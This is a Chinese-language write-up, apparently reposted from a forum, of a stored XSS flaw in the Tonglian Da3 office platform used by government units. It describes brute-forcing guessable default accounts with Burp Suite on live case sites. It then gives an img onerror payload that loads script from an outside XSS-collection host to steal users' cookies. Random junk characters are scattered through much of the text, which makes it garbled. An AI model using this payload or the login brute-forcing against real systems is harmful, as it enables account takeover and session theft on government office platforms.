同联Da3协同办公平台后台通用储存型xss漏洞

admin

! X6 W: j1 K3 Z8 K2 ]. K 9 b$ W' Z/ X2 O 8 ^7 b8 n/ j0 T ; C9 R! _* h9 j' u ' k4 c# D( y- B O+ v d " n- x% H2 z& @. b& r: a! G* O8 [ 8 \9 R# `% e* q7 T

( _" |/ i: p3 _6 q. i$ ]

! o+ P& O, z8 O* {+ O: W R; F' X 同联Da3协同办公平台后台通用储存型xss漏洞

- y, f! f% S( t9 s# Y: a' M, p- F

5 }* M. h6 S. l8 i) p6 a 平台简介：

" E/ ~7 k5 O; p! `* ]

  . k, f: a. r/ c

; o; A: y% u1 p! |( T8 l0 s9 S

- L0 @7 t; s/ r. A 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
2 r$ u- X2 M, u: W$ z同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ ! \$ G2 V+ M' O, y( B

' T8 z- [ M5 K) U; n2 N

  6 [8 q$ K: } h/ L

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 8 p/ c5 I& @7 W! A C- p

# {& ?5 y3 f+ b! e% d

4 E1 r2 X, w5 Z3 z4 R. u0 Q   1 S4 q' A3 W" K$ b2 v

" \& i! r7 ?; O1 g* B" v

http://1.1.1.1:7197/cap-aco/#（案例2-） 9 @! J9 Y# h$ v. ?4 t3 N) y1 L0 e" y

http://www.XXOO.com （案例1-官网网站）

. \2 D: H @* N# K& c/ Q 漏洞详情: ! c" S4 F% ^7 J% [, a4 M1 Y

, b0 y( g/ G" q0 J$ k/ P

8 \) V' `& h% B8 @  案例一、 % y, O3 ^- A8 P3 m2 y

5 y \& E+ l' |) R a, y6 J 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ' k) A4 H5 ?4 s n/ ^8 M

& f7 `' F% E6 o, G$ m

  % G/ S J; S3 O' \1 X1 }

* ~+ f# o" [& f

' s6 v, b6 g* e" o# d

# n# P2 I) }! U* Z! Q! U

# t; I# `5 q; `3 X- z% | status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

1 ~- V; k' v/ [7 c

  6 Z1 T' c7 Z- I1 s, {" c) W" u

' X6 ~% ^/ I) R1 W$ q3 i

$ G8 t E7 H+ e! ?; S* o4 P 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 3 |9 x" @' K. {3 W A) r+ J2 d1 s6 R

_- q. I- f* I3 |

 

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： $ l% ~' R" `* `8 @

9 N y- Q& M4 U* d, x& j* e1 U

$ x! ?& Q5 {2 E3 E+ r2 B# @ 然后发送，接收cookie如图：

, Q* Z2 N9 k6 ]' u7 b, Z+ I

2 J) B' O7 H( c% b7 U: D, S/ O   6 ` V! E4 X# T" c

( v: U- Z3 L+ f* D

0 Q0 Q; |1 W. f( R- {3 E   5 G& j* b+ M0 z$ B; _. e s

 

* b/ A, A) j$ S8 G  

& y- }5 h0 q0 D/ J; i

0 h4 ~3 L. `1 ~/ @# J9 n+ d5 Q* ^

 

2 s& s* M( C1 l( |/ [

$ D, G$ g* a0 D/ k 案例2、 1 a7 l, ~! C# }3 K/ w2 o6 b

+ ]; H& Y. g# Z$ E' D; N 前面步骤都一样，下面看效果图：

7 E7 R; m6 c# P. e / u4 R# ~: U$ F" y) D

" V& y! n0 l! v' P" x# h- a0 q

& g. V- o- F/ I1 [. _# I. N. N

' X* D* t4 [7 a5 D3 i# X6 ]

, h. U3 L! ?6 T) O. \- \% u, `, @   ! d$ h& k) f7 m, O+ p3 j! w" [

0 F' D, e) h, i/ ?4 u) F

+ C& y, B; \# j* x0 O   3 R) R, D5 M* q4 P" a9 l2 I

! V" u% E( a- s0 P+ u+ V' F+ T: _

  4 V6 v, ?6 t& ^" x& c/ {

  6 E3 o; V4 W% P3 O/ Q; x

^ p0 V* I6 r) X% J

8 d: L- f. w$ _2 s6 }   5 D; j) P1 S5 Q4 A c

. ]# l' y* Y" [9 \